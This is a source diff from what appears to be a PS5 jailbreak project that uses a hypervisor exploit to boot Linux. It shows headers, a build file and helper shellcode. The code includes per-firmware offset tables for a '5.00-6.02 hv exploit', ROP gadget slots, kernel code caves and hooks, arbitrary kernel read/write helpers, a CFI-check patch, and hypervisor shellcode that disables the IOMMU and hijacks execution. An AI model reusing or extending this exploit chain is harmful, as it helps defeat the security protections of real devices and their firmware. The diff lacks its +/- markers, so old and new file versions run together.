static void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa,
int bits);
void pte_store(uintptr_t ptep, uint64_t pte);
static int read_file(const char *path, void *buf, size_t bufsize);
static void trim_newline(char *s);
int fetch_linux(struct linux_info *info);
#ifndef LOADER_H
#define LOADER_H
#include "utils.h"
void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, int bits);
void pte_store(uintptr_t ptep, uint64_t pte);
int read_file(const char *path, void *buf, size_t bufsize);
void trim_newline(char *s);
int fetch_linux(struct linux_info *info);
#endif

View File

@@ -1,8 +1,8 @@
#ifndef MAIN_H
#define MAIN_H
int main(void);
int setup_env(void);
int prepare_resume(void);
#endif
#ifndef MAIN_H
#define MAIN_H
int main(void);
int setup_env(void);
int prepare_resume(void);
#endif

View File

@@ -1,50 +1,65 @@
#ifndef OFFSETS_H
#define OFFSETS_H
#include <stdint.h>
typedef struct _offset_list {
uint64_t PMAP_STORE;
uint64_t HV_VCPU; // Needed for 1.xx and 2.xx
uint64_t HV_VCPU_CPUID; // Needed for 1.xx and 2.xx
uint64_t HV_VCPU_ARRAY_OFF; // Needed for 1.xx and 2.xx
uint64_t HV_VCPU_STRIDE; // Needed for 1.xx and 2.xx
uint64_t HV_VCPU_VMCB_PTR; // Needed for 1.xx and 2.xx
uint64_t KERNEL_CODE_CAVE;
uint64_t KERNEL_DATA_CAVE;
uint64_t IOMMU_SOFTC;
uint64_t VMSPACE_VM_VMID;
uint64_t VMSPACE_VM_PMAP;
uint64_t PMAP_PM_PML4;
uint64_t PMAP_PM_CR3;
uint64_t DATA_BASE_GVMSPACE;
uint64_t HOOK_ACPI_WAKEUP_MACHDEP;
uint64_t FUN_PRINTF;
uint64_t FUN_VA_TO_PA;
uint64_t FUN_HV_IOMMU_SET_BUFFERS;
uint64_t FUN_HV_IOMM_WAIT_COMPLETION;
uint64_t FUN_SMP_RENDEZVOUS;
uint64_t FUN_SMP_NO_RENDEVOUS_BARRIER;
uint64_t HV_HANDLE_VMEXIT_PA;
uint64_t HV_CODE_CAVE_PA;
uint64_t HV_UART_OVERRIDE_PA;
uint64_t G_VBIOS;
uint64_t FUN_TRANSMITTER_CONTROL;
uint64_t FUN_MP3_INITIALIZE;
uint64_t FUN_MP3_INVOKE;
uint64_t KERNEL_UART_OVERRIDE;
uint64_t KERNEL_DEBUG_PATCH;
uint64_t KERNEL_CFI_CHECK;
} offset_list;
extern offset_list off_0300;
extern offset_list off_0310;
extern offset_list off_0320;
extern offset_list off_0321;
extern offset_list off_0400;
extern offset_list off_0402;
extern offset_list off_0403;
extern offset_list off_0450;
extern offset_list off_0451;
#endif
#ifndef OFFSETS_H
#define OFFSETS_H
#include <stdint.h>
typedef struct _offset_list {
/* Loader utils */
uint64_t IOMMU_SOFTC;
uint64_t VMSPACE_VM_VMID;
uint64_t VMSPACE_VM_PMAP;
uint64_t DATA_BASE_GVMSPACE;
/* Offsets for 5.00-6.02 hv exploit */
uint64_t ACPIGBL_FACS;
uint64_t IDT;
uint64_t COMMON_TSS;
uint64_t STOPPED_CPUS;
uint64_t FUN_STOP_CPUS;
uint64_t FUN_AS_LAPIC_EOI;
uint64_t FUN_HV_UNMAP_PT_TMR;
uint64_t FUN_MEMCPY;
uint64_t GAD_ADD_RSP_28_POP_RBP_RET;
uint64_t GAD_IRETQ;
uint64_t GAD_POP_RDI_RET;
uint64_t GAD_POP_RSI_RET;
uint64_t GAD_POP_RDX_RET;
uint64_t GAD_POP_RSP_RET;
uint64_t GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
/* Shellcode Kernel */
uint64_t HOOK_ACPI_WAKEUP_MACHDEP;
uint64_t KERNEL_CODE_CAVE;
uint64_t FUN_PRINTF;
uint64_t FUN_HV_IOMMU_SET_BUFFERS;
uint64_t FUN_HV_IOMM_WAIT_COMPLETION;
uint64_t FUN_SMP_RENDEZVOUS;
uint64_t FUN_SMP_NO_RENDEVOUS_BARRIER;
/* Shellcode HV */
uint64_t HV_CODE_CAVE_PA;
uint64_t HV_HANDLE_VMEXIT_PA;
/* Patches on Kernel */
uint64_t KERNEL_UART_OVERRIDE;
uint64_t KERNEL_CFI_CHECK;
/* Internal functions to prepare boot */
uint64_t G_VBIOS;
uint64_t FUN_TRANSMITTER_CONTROL;
uint64_t FUN_MP3_INITIALIZE;
uint64_t FUN_MP3_INVOKE;
/* Wifi FW */
uint64_t PS5_WIFI_FW_OFFSET;
uint64_t PS5_WIFI_FW_SIZE;
} offset_list;
extern offset_list off_0300;
extern offset_list off_0310;
extern offset_list off_0320;
extern offset_list off_0321;
extern offset_list off_0400;
extern offset_list off_0402;
extern offset_list off_0403;
extern offset_list off_0450;
extern offset_list off_0451;
extern offset_list off_0550;
extern offset_list off_0600;
extern offset_list off_0602;
#endif

12
include/prepare_resume.h Normal file
View File

@@ -0,0 +1,12 @@
#ifndef PREPARE_RESUME_H
#define PREPARE_RESUME_H
#include "utils.h"
extern struct linux_info linux_i;
int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len);
uint64_t prepare_sck_args(void);
int update_sck_args_ptr(uint64_t shellcode, uint64_t args);
void hook_call_near(uint64_t hook, uint64_t dst);
#endif

View File

@@ -1,19 +1,19 @@
#ifndef TMR_H
#define TMR_H
#include <stdint.h>
#define ECAM_B0D18F2 dmap + (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000)
#define TMR_INDEX_OFF 0x80
#define TMR_DATA_OFF 0x84
#define TMR_BASE(n) ((n) * 0x10 + 0x00)
#define TMR_LIMIT(n) ((n) * 0x10 + 0x04)
#define TMR_CONFIG(n) ((n) * 0x10 + 0x08)
#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C)
#define TMR_CFG_PERMISSIVE 0x3F07
uint32_t tmr_read(uint32_t addr);
void tmr_write(uint32_t addr, uint32_t val);
#endif
#ifndef TMR_H
#define TMR_H
#include <stdint.h>
#define ECAM_B0D18F2 dmap + (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000)
#define TMR_INDEX_OFF 0x80
#define TMR_DATA_OFF 0x84
#define TMR_BASE(n) ((n) * 0x10 + 0x00)
#define TMR_LIMIT(n) ((n) * 0x10 + 0x04)
#define TMR_CONFIG(n) ((n) * 0x10 + 0x08)
#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C)
#define TMR_CFG_PERMISSIVE 0x3F07
uint32_t tmr_read(uint32_t addr);
void tmr_write(uint32_t addr, uint32_t val);
#endif

View File

@@ -1,159 +1,175 @@
#ifndef UTILS_H
#define UTILS_H
#include "offsets.h"
#include <ps5/kernel.h>
#include <stdarg.h>
#include <stdint.h>
#include <string.h>
int sceKernelGetCurrentCpu();
int sceKernelSendNotificationRequest(int, void *, size_t, int);
int sceKernelOpenEventFlag(void*, const char *);
int sceKernelNotifySystemSuspendStart(void);
int sceKernelSetEventFlag(void *, int);
int sceKernelCloseEventFlag(void*);
typedef struct _sysent {
uint32_t n_arg;
uint32_t pad;
uint64_t sy_call;
uint64_t sy_auevent;
uint64_t sy_systrace_args;
uint32_t sy_entry;
uint32_t sy_return;
uint32_t sy_flags;
uint32_t sy_thrcnt;
} sysent;
typedef struct __flat_pmap {
uint64_t mtx_name_ptr;
uint64_t mtx_flags;
uint64_t mtx_data;
uint64_t mtx_lock;
uint64_t pm_pml4;
uint64_t pm_cr3;
} flat_pmap;
struct linux_info {
uintptr_t bzimage;
size_t bzimage_size;
uintptr_t initrd;
size_t initrd_size;
size_t vram_size;
char cmdline[2048];
uintptr_t linux_info; // PA of linux_info
};
/** These vars are global for the payload to simplify things */
extern offset_list env_offset; // Defined on utils.c
extern uint64_t ktext; // Defined on utils.c
extern uint64_t kdata; // Defined on utils.c
extern uint64_t dmap; // Defined on utils.c
extern uint64_t cr3; // Defined on utils.c
extern uint32_t fw; // Defined on utils.c
extern uint64_t vmcb_pa[16]; // Defined on hv_defeat.c
extern struct linux_info linux_i; // Declared on main.c
static inline void kwrite(uint64_t ka, void *src, uint64_t len) {
kernel_copyin(src, ka, len);
}
static inline void kwrite64(uint64_t dst, uint64_t val) {
kernel_copyin(&val, dst, 8);
}
static inline void kwrite32(uint64_t dst, uint32_t val) {
kernel_copyin(&val, dst, 4);
}
static inline void kwrite8(uint64_t dst, uint8_t val) {
kernel_copyin(&val, dst, 1);
}
static inline void kread(uint64_t ka, void *dst, uint64_t len) {
kernel_copyout(ka, dst, len);
}
static inline uint64_t kread64(uint64_t src) {
uint64_t val;
kernel_copyout(src, &val, 8);
return val;
}
static inline uint32_t kread32(uint64_t src) {
uint32_t val;
kernel_copyout(src, &val, 4);
return val;
}
static inline uint8_t kread8(uint64_t src) {
uint8_t val;
kernel_copyout(src, &val, 1);
return val;
}
int set_offsets(void);
int init_global_vars(void);
uint64_t get_offset_va(uint64_t offset);
// Defines for Page management
#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1))
#define INKERNEL(va) (va & 0xFFFF000000000000)
enum page_bits {
P = 0,
RW,
US,
PWT,
PCD,
A,
D,
PS,
G,
XO = 58,
PK = 59,
NX = 63
};
#define PG_B_P (1ULL << P)
#define PG_B_RW (1ULL << RW)
#define PAGE_P(x) (x & (1ULL << P))
#define PAGE_RW(x) (x & (1ULL << RW))
#define PAGE_PS(x) (x & (1ULL << PS))
#define PAGE_XO(x) (x & (1ULL << XO))
#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO))
#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G))
#define PAGE_SET_RW(x) (x |= (1ULL << RW))
#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL)
#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))
#define pmap_pml4e_index(va) ((va >> 39) & 0x1FF)
#define pmap_pdpe_index(va) ((va >> 30) & 0x1FF)
#define pmap_pde_index(va) ((va >> 21) & 0x1FF)
#define pmap_pte_index(va) ((va >> 12) & 0x1FF)
uint64_t va_to_pa_user(uint64_t va);
uint64_t va_to_pa_kernel(uint64_t va);
uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom);
uint64_t pa_to_dmap(uint64_t pa);
void page_chain_set_rw(uint64_t va);
uint64_t page_remove_global(uint64_t va);
uint64_t getpmap(uint64_t proc_ptr);
uint64_t get_pml4(uint64_t pmap);
int pin_to_core(int n);
int pin_to_first_available_core(void);
void unpin(void);
void notify(const char *fmt, ...);
void notify_internal(uint8_t *msg);
void enter_rest_mode(void);
#if DEBUG
#define DEBUG_PRINT(fmt, ...) printf(fmt, ##__VA_ARGS__)
#else
#define DEBUG_PRINT(fmt, ...)
#endif
#endif
#ifndef UTILS_H
#define UTILS_H
#include "linux.h"
#include "offsets.h"
#include <ps5/kernel.h>
#include <stdarg.h>
#include <string.h>
int sceKernelGetCurrentCpu();
int sceKernelSendNotificationRequest(int, void *, size_t, int);
int sceKernelOpenEventFlag(void *, const char *);
int sceKernelNotifySystemSuspendStart(void);
int sceKernelSetEventFlag(void *, int);
int sceKernelCloseEventFlag(void *);
typedef struct _sysent {
uint32_t n_arg;
uint32_t pad;
uint64_t sy_call;
uint64_t sy_auevent;
uint64_t sy_systrace_args;
uint32_t sy_entry;
uint32_t sy_return;
uint32_t sy_flags;
uint32_t sy_thrcnt;
} sysent;
typedef struct __flat_pmap {
uint64_t mtx_name_ptr;
uint64_t mtx_flags;
uint64_t mtx_data;
uint64_t mtx_lock;
uint64_t pm_pml4;
uint64_t pm_cr3;
} flat_pmap;
/** These vars are global for the payload to simplify things */
extern offset_list env_offset; // Defined on utils.c
extern uint64_t ktext; // Defined on utils.c
extern uint64_t kdata; // Defined on utils.c
extern uint64_t dmap; // Defined on utils.c
extern uint64_t cr3; // Defined on utils.c
extern uint32_t fw; // Defined on utils.c
extern uint64_t vmcb_pa[16]; // Defined on hv_defeat.c
extern struct linux_info linux_i; // Declared on main.c
int setup_env(void);
static inline void kwrite_large(uint64_t ka, void *src, uint64_t len) {
uint32_t CHUNK = 0x1000;
uint64_t written = 0;
while (written < len) {
uint32_t n = (len - written > CHUNK) ? CHUNK : (uint32_t)(len - written);
kernel_copyin(src + written, ka + written, n);
written += n;
}
}
static inline void kwrite(uint64_t ka, void *src, uint64_t len) {
kernel_copyin(src, ka, len);
}
static inline void kwrite64(uint64_t dst, uint64_t val) {
kernel_copyin(&val, dst, 8);
}
static inline void kwrite32(uint64_t dst, uint32_t val) {
kernel_copyin(&val, dst, 4);
}
static inline void kwrite8(uint64_t dst, uint8_t val) {
kernel_copyin(&val, dst, 1);
}
static inline void kread(uint64_t ka, void *dst, uint64_t len) {
kernel_copyout(ka, dst, len);
}
static inline uint64_t kread64(uint64_t src) {
uint64_t val;
kernel_copyout(src, &val, 8);
return val;
}
static inline uint32_t kread32(uint64_t src) {
uint32_t val;
kernel_copyout(src, &val, 4);
return val;
}
static inline uint8_t kread8(uint64_t src) {
uint8_t val;
kernel_copyout(src, &val, 1);
return val;
}
int set_offsets(void);
int init_global_vars(void);
uint64_t get_offset_va(uint64_t offset);
// Defines for Page management
#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1))
#define INKERNEL(va) (va & 0xFFFF000000000000)
enum page_bits {
P = 0,
RW,
US,
PWT,
PCD,
A,
D,
PS,
G,
XO = 58,
PK = 59,
NX = 63
};
#define PG_B_P (1ULL << P)
#define PG_B_RW (1ULL << RW)
#define PAGE_P(x) (x & (1ULL << P))
#define PAGE_RW(x) (x & (1ULL << RW))
#define PAGE_PS(x) (x & (1ULL << PS))
#define PAGE_XO(x) (x & (1ULL << XO))
#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO))
#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G))
#define PAGE_SET_RW(x) (x |= (1ULL << RW))
#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL)
#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))
#define pmap_pml4e_index(va) ((va >> 39) & 0x1FF)
#define pmap_pdpe_index(va) ((va >> 30) & 0x1FF)
#define pmap_pde_index(va) ((va >> 21) & 0x1FF)
#define pmap_pte_index(va) ((va >> 12) & 0x1FF)
uint64_t vtophys_user(uint64_t va);
uint64_t vtophys(uint64_t va);
uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom);
uint64_t pa_to_dmap(uint64_t pa);
void page_chain_set_rw(uint64_t va);
uint64_t page_remove_global(uint64_t va);
uint64_t getpmap(uint64_t proc_ptr);
uint64_t get_pml4(uint64_t pmap);
int pin_to_core(int n);
int pin_to_first_available_core(void);
void unpin(void);
void notify(const char *fmt, ...);
void notify_internal(uint8_t *msg);
void enter_rest_mode(void);
#if DEBUG
#define DEBUG_PRINT(fmt, ...) printf(fmt, ##__VA_ARGS__)
#else
#define DEBUG_PRINT(fmt, ...)
#endif
bool if_exists(const char *path);
bool sceKernelIsTestKit(void);
bool sceKernelIsDevKit(void);
enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT };
enum kit_type get_kit_type(void);
#define MINI_SYSCORE_PID 1
uint64_t alloc_page(void);
void pte_store(uintptr_t ptep, uint64_t pte);
void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, int bits);
void install_page_syscore(vm_offset_t va, vm_paddr_t pa, int bits);
#endif

34
shellcode_hv/Makefile Normal file
View File

@@ -0,0 +1,34 @@
ifeq ($(shell uname -m),aarch64)
CC = x86_64-linux-gnu-gcc
LD = x86_64-linux-gnu-ld
OBJCOPY = x86_64-linux-gnu-objcopy
else
CC = gcc
LD = ld
OBJCOPY = objcopy
endif
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
TARGET = shellcode_hv.elf
TEXT_BIN = shellcode_hv.bin
dump = shellcode_hv.h
SRC = main.c utils.c boot_linux.c
OBJ = $(SRC:.c=.o)
all: $(dump)
$(TARGET): $(OBJ)
$(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)
%.o: %.c
$(CC) $(CFLAGS) -c $< -o $@
$(TEXT_BIN): $(TARGET)
$(OBJCOPY) -O binary -j .shell_code $(TARGET) $(TEXT_BIN)
clean:
rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
$(dump): $(TEXT_BIN)
xxd -i $(TEXT_BIN) > $(dump)

View File

@@ -1,18 +1,8 @@
#include "boot_linux.h"
#include "../include/config.h"
#include "linux.h"
#include "../include/linux.h"
#include "utils.h"
#include <stddef.h>
#include <stdint.h>
struct linux_info {
uintptr_t bzimage;
size_t bzimage_size;
uintptr_t initrd;
size_t initrd_size;
size_t vram_size;
char cmdline[2048];
};
static struct linux_info info;
@@ -88,8 +78,19 @@ static void e820_memory_setup(struct boot_params *bp) {
append_e820_table(bp, 0x0f0000000, 0x0f8000000, E820_TYPE_RESERVED);
append_e820_table(bp, 0x100000000, VRAM_BASE, E820_TYPE_RAM);
append_e820_table(bp, VRAM_BASE, 0x470000000, E820_TYPE_RESERVED); // VRAM
append_e820_table(bp, 0x470000000, 0x47f300000, E820_TYPE_RAM);
append_e820_table(bp, 0x47f300000, 0x480000000, E820_TYPE_RESERVED);
// DevKits have 32GB
if (info.kit_type != KIT_DEVKIT) {
append_e820_table(bp, 0x470000000, 0x47f300000, E820_TYPE_RAM);
append_e820_table(bp, 0x47f300000, 0x480000000, E820_TYPE_RESERVED);
} else {
append_e820_table(bp, 0x470000000, 0x87f300000, E820_TYPE_RAM);
append_e820_table(bp, 0x87f300000, 0x880000000, E820_TYPE_RESERVED);
}
for (int i = 0; i < info.n_tmrs; i++) {
append_e820_table(bp, info.tmrs[i].start, info.tmrs[i].end, E820_TYPE_RESERVED);
}
}
void boot_linux(void) {
@@ -124,7 +125,6 @@ void boot_linux(void) {
memcpy((void *)kernel_pa, (void *)(info.bzimage + setup_size), kernel_size);
// printf("This is kernel_pa: "); print_val64(kernel_pa); printf("\n");
void (*startup_64)(uint64_t physaddr, struct boot_params *bp) =
(void *)(kernel_pa + 0x200);
startup_64(kernel_pa, bp);
@@ -159,7 +159,7 @@ void entry(void) {
}
// Disable IOMMU.
*(volatile uint64_t *)0xfdd80018 &= ~1;
*(volatile uint64_t *)(AMDIOMMU_MMIO_BASE + AMDIOMMU_CTRL) &= ~1;
memcpy(&info, (void *)(cave_linux_info), sizeof(struct linux_info));

View File

@@ -1,43 +1,48 @@
#define MSR_EFER 0xc0000080
#define EFER_SVM (1ULL << 12) // Bit 12: Secure Virtual Machine Enable
// // Virtual Machine Control Register (VM_CR)
#define MSR_VM_CR 0xc0010114
#define VM_CR_R_INIT (1ULL << 1) // Bit 1: Intercept INIT
// // MTRRs (Memory Type Range Registers)
#define MSR_MTRR4kBase 0x00000268
#define MSR_MTRRVarBase 0x00000200
#define VRAM_BASE (0x470000000 - info.vram_size)
#define FB_BASE 0xf400000000
#define ACPI_RSDP_ADDRESS 0x7fd8e014
#define AMDGPU_MMIO_BASE 0xe0600000
#define RCC_CONFIG_MEMSIZE 0x378c
#define GCMC_VM_FB_OFFSET 0xa5ac
#define GCMC_VM_LOCAL_HBM_ADDRESS_START 0xa5d4
#define GCMC_VM_LOCAL_HBM_ADDRESS_END 0xa5d8
#define GCMC_VM_FB_LOCATION_BASE 0xa600
#define GCMC_VM_FB_LOCATION_TOP 0xa604
#define MMMC_VM_FB_OFFSET 0x6a15c
#define MMMC_VM_LOCAL_HBM_ADDRESS_START 0x6a184
#define MMMC_VM_LOCAL_HBM_ADDRESS_END 0x6a188
#define MMMC_VM_FB_LOCATION_BASE 0x6a1b0
#define MMMC_VM_FB_LOCATION_TOP 0x6a1b4
#define MMHUBBUB_WHITELIST_BASE_ADDR_0 0x24850
#define MMHUBBUB_WHITELIST_TOP_ADDR_0 0x24854
#define DCHUBBUB_WHITELIST_BASE_ADDR_0 0x24878
#define DCHUBBUB_WHITELIST_TOP_ADDR_0 0x2487c
#define MAXCPU 16
void entry(void);
void boot_linux(void);
#define MSR_EFER 0xc0000080
#define EFER_SVM (1ULL << 12) // Bit 12: Secure Virtual Machine Enable
// Virtual Machine Control Register (VM_CR)
#define MSR_VM_CR 0xc0010114
#define VM_CR_R_INIT (1ULL << 1) // Bit 1: Intercept INIT
// MTRRs (Memory Type Range Registers)
#define MSR_MTRR4kBase 0x00000268
#define MSR_MTRRVarBase 0x00000200
#define VRAM_BASE (0x470000000 - info.vram_size)
#define FB_BASE 0xf400000000
#define ACPI_RSDP_ADDRESS 0x7fd8e014
#define AMDGPU_MMIO_BASE 0xe0600000
#define RCC_CONFIG_MEMSIZE 0x378c
#define GCMC_VM_FB_OFFSET 0xa5ac
#define GCMC_VM_LOCAL_HBM_ADDRESS_START 0xa5d4
#define GCMC_VM_LOCAL_HBM_ADDRESS_END 0xa5d8
#define GCMC_VM_FB_LOCATION_BASE 0xa600
#define GCMC_VM_FB_LOCATION_TOP 0xa604
#define MMMC_VM_FB_OFFSET 0x6a15c
#define MMMC_VM_LOCAL_HBM_ADDRESS_START 0x6a184
#define MMMC_VM_LOCAL_HBM_ADDRESS_END 0x6a188
#define MMMC_VM_FB_LOCATION_BASE 0x6a1b0
#define MMMC_VM_FB_LOCATION_TOP 0x6a1b4
#define MMHUBBUB_WHITELIST_BASE_ADDR_0 0x24850
#define MMHUBBUB_WHITELIST_TOP_ADDR_0 0x24854
#define DCHUBBUB_WHITELIST_BASE_ADDR_0 0x24878
#define DCHUBBUB_WHITELIST_TOP_ADDR_0 0x2487c
#define AMDIOMMU_MMIO_BASE 0xfdd80000
#define AMDIOMMU_CTRL 0x18
#define MAXCPU 16
void entry(void);
void boot_linux(void);
enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT };

View File

@@ -1,18 +1,18 @@
/* linker.ld */
ENTRY(main)
SECTIONS
{
. = 0x1000; /* 0x1000 to avoid warnings from linker */
/* Place our custom header first */
.shell_code :
{
*(.entry_point)
*(.text)
*(.text.*)
*(.data*)
*(.rodata*)
*(.bss)
*(.bss.*)
}
}
/* linker.ld */
ENTRY(main)
SECTIONS
{
. = 0x1000; /* 0x1000 to avoid warnings from linker */
/* Place our custom header first */
.shell_code :
{
*(.entry_point)
*(.text)
*(.text.*)
*(.data*)
*(.rodata*)
*(.bss)
*(.bss.*)
}
}

View File

@@ -1,33 +1,30 @@
#include <stdint.h>
#include "main.h"
#include "../include/config.h"
#include "boot_linux.h"
#include "utils.h"
__attribute__((section(".entry_point"), naked)) uint32_t main(void) {
// We enter this function after CR3 was updated to 1:1 mapping
// We need to point RSP/RBP to a good known valid address
uint32_t ebax, ebx, ecx, edx;
uint32_t cpu_id;
__asm__ volatile("cpuid"
: "=a"(ebax), "=b"(ebx), "=c"(ecx), "=d"(edx)
: "a"(1));
cpu_id = (ebx >> 24) & 0xFF;
// We point to a location after the main linux boot code
// Each CPU should have a different location
uintptr_t new_rsp =
(uintptr_t)hv_base_rsp + ((uint64_t)(cpu_id)*hv_stack_size);
// WARNING: This invalidates current local variables
__asm__ volatile("movq %0, %%rsp \n\t"
"movq %%rsp, %%rbp \n\t"
:
: "r"(new_rsp)
: "rbp", "memory");
entry();
}
#include "../include/config.h"
#include "boot_linux.h"
#include "utils.h"
__attribute__((section(".entry_point"), naked)) uint32_t main(void) {
// We enter this function after CR3 was updated to 1:1 mapping
// We need to point RSP/RBP to a good known valid address
uint32_t ebax, ebx, ecx, edx;
uint32_t cpu_id;
__asm__ volatile("cpuid"
: "=a"(ebax), "=b"(ebx), "=c"(ecx), "=d"(edx)
: "a"(1));
cpu_id = (ebx >> 24) & 0xFF;
// We point to a location after the main linux boot code
// Each CPU should have a different location
uintptr_t new_rsp =
(uintptr_t)hv_base_rsp + ((uint64_t)(cpu_id)*hv_stack_size);
// WARNING: This invalidates current local variables
__asm__ volatile("movq %0, %%rsp \n\t"
"movq %%rsp, %%rbp \n\t"
:
: "r"(new_rsp)
: "rbp", "memory");
entry();
}

View File

@@ -1,9 +1,7 @@
// This file is shared between kernel shellcode and hypervisor shellcode
#include <stdint.h>
typedef struct {
uint64_t bzimage_pa; // Already relocated by Kernel shellcode
uint64_t initrd_pa; // Already relocated by Kernel shellcode
uint64_t linux_info_pa; // Already relocated by Kernel shellcode
} shellcode_hypervisor_args;
// This file is shared between kernel shellcode and hypervisor shellcode
typedef struct {
uint64_t bzimage_pa; // Already relocated by Kernel shellcode
uint64_t initrd_pa; // Already relocated by Kernel shellcode
uint64_t linux_info_pa; // Already relocated by Kernel shellcode
} shellcode_hv_args;

View File

@@ -1,114 +1,93 @@
#include "utils.h"
#include "shellcode_hypervisor_args.h"
#include <cpuid.h>
extern shellcode_hypervisor_args args;
__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint8_t tx_byte) {
volatile uint32_t *uart_tx = (volatile uint32_t *) 0xc1010104ULL;
volatile uint32_t *uart_busy = (volatile uint32_t *) 0xc101010cULL;
uint64_t timeout = 0xFFFFFFFF;
do {
timeout--;
if (timeout == 0)
break;
} while (((*uart_busy) & 0x20) == 0);
if (timeout == 0)
return -1;
*uart_tx = (uint32_t)tx_byte & 0xFF;
return 0;
}
// Variable for val to hex
uint8_t hex_val[17];
__attribute__((noinline, optimize("O0"))) uint8_t *
u64_to_hex_custom(uint64_t val, uint8_t *dest) {
const uint8_t hex_chars[] = "0123456789abcdef";
dest[16] = '\0';
for (int i = 15; i >= 0; i--) {
dest[i] = hex_chars[val & 0xf];
val >>= 4;
}
return dest;
}
__attribute__((noinline, optimize("O0"))) int printf(const uint8_t *msg) {
uint32_t max = 255;
int ret = 0;
for (int i = 0; i < 255; i++) {
if (msg[i] == '\0') {
break;
}
if (msg[i] == '\n') {
putc_uart('\r');
}
ret = putc_uart(msg[i]);
}
return ret;
}
__attribute__((noinline, optimize("O0"))) void memcpy(void *dest, void *src,
uint64_t len) {
uint8_t *d = (uint8_t *)dest;
const uint8_t *s = (const uint8_t *)src;
for (uint64_t i = 0; i < len; i++) {
d[i] = s[i];
}
}
__attribute__((noinline, optimize("O0"))) char *strcpy(char *dest,
const char *src) {
char *d = dest;
while ((*d++ = *src++)) {
}
return dest;
}
__attribute__((noinline, optimize("O0"))) void *memset(void *s, int c,
uint64_t n) {
unsigned char *p = (unsigned char *)s;
while (n--) {
*p++ = (unsigned char)c;
}
return s;
}
void disable_intr(void) { __asm__ __volatile__("cli" : : : "memory"); }
void halt(void) { __asm__ __volatile__("hlt"); }
uint64_t rdmsr(uint32_t msr) {
uint32_t low, high;
__asm__ __volatile__("rdmsr" : "=a"(low), "=d"(high) : "c"(msr));
return ((uint64_t)high << 32) | low;
}
void wrmsr(uint32_t msr, uint64_t val) {
uint32_t low = val & 0xFFFFFFFF;
uint32_t high = val >> 32;
__asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr));
}
// Map FreeBSD atomic_add_32 to GCC builtin
void atomic_add_32(volatile uint32_t *p, uint32_t v) {
__sync_fetch_and_add(p, v);
}
// Map FreeBSD atomic_cmpset_32 to GCC builtin
int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src) {
return __sync_bool_compare_and_swap(dst, exp, src);
}
uint8_t get_cpu(void) {
uint32_t eax, ebx, ecx, edx;
__get_cpuid(1, &eax, &ebx, &ecx, &edx);
uint8_t cpu_id = (ebx >> 24) & 0xFF;
return cpu_id;
}
#include "utils.h"
#include <cpuid.h>
__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint8_t tx_byte) {
volatile uint32_t *uart_tx = (volatile uint32_t *)0xc1010104ULL;
volatile uint32_t *uart_busy = (volatile uint32_t *)0xc101010cULL;
uint64_t timeout = 0xFFFFFFFF;
do {
timeout--;
if (timeout == 0)
break;
} while (((*uart_busy) & 0x20) == 0);
if (timeout == 0)
return -1;
*uart_tx = (uint32_t)tx_byte & 0xFF;
return 0;
}
__attribute__((noinline, optimize("O0"))) int printf(const uint8_t *msg) {
uint32_t max = 255;
int ret = 0;
for (int i = 0; i < 255; i++) {
if (msg[i] == '\0') {
break;
}
if (msg[i] == '\n') {
putc_uart('\r');
}
ret = putc_uart(msg[i]);
}
return ret;
}
__attribute__((noinline, optimize("O0"))) void memcpy(void *dest, void *src,
uint64_t len) {
uint8_t *d = (uint8_t *)dest;
const uint8_t *s = (const uint8_t *)src;
for (uint64_t i = 0; i < len; i++) {
d[i] = s[i];
}
}
__attribute__((noinline, optimize("O0"))) char *strcpy(char *dest,
const char *src) {
char *d = dest;
while ((*d++ = *src++)) {
}
return dest;
}
__attribute__((noinline, optimize("O0"))) void *memset(void *s, int c,
uint64_t n) {
unsigned char *p = (unsigned char *)s;
while (n--) {
*p++ = (unsigned char)c;
}
return s;
}
void disable_intr(void) { __asm__ __volatile__("cli" : : : "memory"); }
void halt(void) { __asm__ __volatile__("hlt"); }
uint64_t rdmsr(uint32_t msr) {
uint32_t low, high;
__asm__ __volatile__("rdmsr" : "=a"(low), "=d"(high) : "c"(msr));
return ((uint64_t)high << 32) | low;
}
void wrmsr(uint32_t msr, uint64_t val) {
uint32_t low = val & 0xFFFFFFFF;
uint32_t high = val >> 32;
__asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr));
}
void atomic_add_32(volatile uint32_t *p, uint32_t v) {
__sync_fetch_and_add(p, v);
}
int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src) {
return __sync_bool_compare_and_swap(dst, exp, src);
}
uint8_t get_cpu(void) {
uint32_t eax, ebx, ecx, edx;
__get_cpuid(1, &eax, &ebx, &ecx, &edx);
uint8_t cpu_id = (ebx >> 24) & 0xFF;
return cpu_id;
}

View File

@@ -1,28 +1,21 @@
#ifndef UTILS_H
